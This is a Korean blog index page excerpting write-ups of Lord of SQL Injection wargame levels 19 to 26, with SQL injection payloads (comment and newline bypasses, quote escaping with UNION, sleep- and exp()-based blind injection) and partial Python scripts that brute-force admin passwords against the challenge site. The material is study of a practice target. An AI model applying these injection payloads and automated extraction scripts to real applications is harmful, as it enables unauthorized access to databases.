일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- XSS
- 쿠키
- injection
- Los
- sqlinjection
- 세션쿠키
- 웹 개발
- 자바 Array list
- 자바 has-a
- 마이크로서비스 아키택트
- 해킹
- 자바 문법
- 클라이언트
- lord of sqlinjection`
- 자바 is-a
- 소켓
- 스프링
- 스프링구조
- 서버
- lord of sqlinjectin
- 보안
- 스프링 특징
- 자바
- APM
- 스프링 종류
- Lord of sqlinjection
- 세션
- 웹
- php
- sql
- Today
- Total
목록IT 보안 (28)
LJ
26번 레드 드레곤이다. admin의 맞는 no 값을 알아야 문제가 해결된다.id=admin이고 no 값 이 맞는 데이터가 db에 있나 admin의 no 를 가져온다. 그때 admin의 no와 파라미터 no 값이 같으면 문제 해결 id='||no>%23&no=%0a1000 여기서 %23 (=#) 은 한줄 주석이기에 뒤의 no= 이 코드는 무시되어 %0a로 아래줄로 넘어간 1000이 no> 이 뒤에 붙어 no>1000 이 된다. 1000000000>no>100000000 이 된다. 숫자가 커서 이진탐색을 통해 구해야한다. import requestsdef check_no(url, cookie): head = {"PHPSESSID": f"{cookie}"} pr..
25번 그린 드래곤이다. 코드를 보면 preg_match를 사용하여 prob, _, ., ', " 문자를 필터링하고있다. 그러므로 \를 이용해 작은 따옴표를 이스케이핑 처리를 해야한다. 첫번째 부분SELECT id, pw FROM prob_green_dragon WHERE id='\' AND pw=''; 이 부분은 필터링을 우회하기 위해 이스케이핑 문자를 사용한다. 결과적으로 id='\'와 pw=''인 행을 찾는다. 두번째 부분 union select 1,2; 이 부분은 UNION을 사용하여 쿼리의 결과에 추가적인 행을 삽입합니다. 이 경우 1과 2라는 값을 반환합니다. 쿼리는 두 부분으로 나누어진다. 첫 번째 부분은 데이터베이스에서 id='\'와 pw=''인 행을 찾고, 두 번째 부분은..
24번 문제이다. hell fire랑 다르다고 하는 이유는 아마,, 이전에 time based 를 이용해 인젝션을 시도했을 때 다르게 해보라고 하는 말 같다 왜냐면 sleep, 이랑 benchmark 함수가 필터링 되어있기 때문이다. *BENCHMARK() 함수는 SLEEP() 함수와 같이 디버깅이나 간단한 함수 성능 테스트 용으로 유용하다. 2개의 인자를 필요로 하며, 첫 번째 인자는 반복 수행할 횟수이며, 두번 째인자는 실행할 표현식을 입력한다. 두 번째 인자의 표현식은 반드시 스칼라 값을 반환하는 표현식이어야 한다. import requestsurl = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169..
23번 hell fire다 . 이번에 코드를 보면 sleep 함수를 안막은게 보여 바로 sleep함수를 사용해 반응을 보았다. query : ?order=if(id='admin'and(length(email)=28),sleep(10),1)%23 sleep 함수를 통한 인젝션이 가능한 것을 확인했는데 코드를 보면서 수정하고 확인하고 하는 것이 시간이 너무 많이 걸려 다른 방법을 찾아 보기로 했다. 찾아보니 MySQL의 EXP 함수라고 주어진 숫자에 대해 자연 로그의 밑인 e의 거듭제곱 값을 반환하는 수학 함수이다. * exp(parameter)는 자연로그의 및 e의 parameter제곱값을 반환하는데 보통 709를 넘어가면 표현이 오버플로우되어 에러가 발생한다. order=..
22번 다크 아이즈 이다. 21번 문제와 같이 에러 기반 인젝션이다. 다른점이 있다면 if를 사용하지 못한다. (case when 도 사용하지 못한다.) import requestsurl = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"cookie = dict(PHPSESSID="4jnokk4mvhdm24glsa8dsqr45v")def pw_length(): print("**** find for pw length ****") for i in range(0, 20): param = f"?pw=%27%20or%20id=%27admin%27%20and%20(select%201%20u..
21번 문제인 iron golem 이다. 일단 hello 문구가 사라졌다... 그치만 '(싱글쿼터)를 넣었을 때 에러가 발생하는 것을 봐서는 에러를 통해 암호를 정확하게 맞춰야 해결이 될거같다. 쿼리에 맞는 python 코드를 작성한다.import requestsfrom prettytable import PrettyTableaddress = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'cookie={'PHPSESSID':'qc4tt4p1ren887gr3v5jf5lcvm'}def pw_length(): for i in range(30,50): URL = address + "?pw='or id='adm..
20번 문제이다. 쿼리문을 보면 주석처리 문자인 '#' 이 들어간 것을 볼 수 있다. #은 한줄 주석처리 이기에 #개행문자and pw='' or id ='admin' 을 넣으면 될거같다 개행문자에는 %0a 를 넣든 %0a%0d를 넣든 주석처리를 무시하기에 같은 결과를 가져온다. ※ key point - #은 한줄 주석처리- %0a 로 다음줄로 넘어가 쿼리 삽입
19번 문제이다 필터링을 like와 regex 를 하는데 사실상 의미가 있어 보이진 않는다. 무난하게 길이를 알아낸다. 평소하던 방식대로 자동화 코드를 돌렸는데 되지않는다 코드가 잘못된건지 수정을 반복하다가 한글이 아닐까..? 라는 생각을 하게 되어 import requestsdef send(query): url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php" cookie = "쿠키" head = {"PHPSESSID":f"{cookie}"} my_url = url+query res = requests.get(my_url, cookies=head) return res...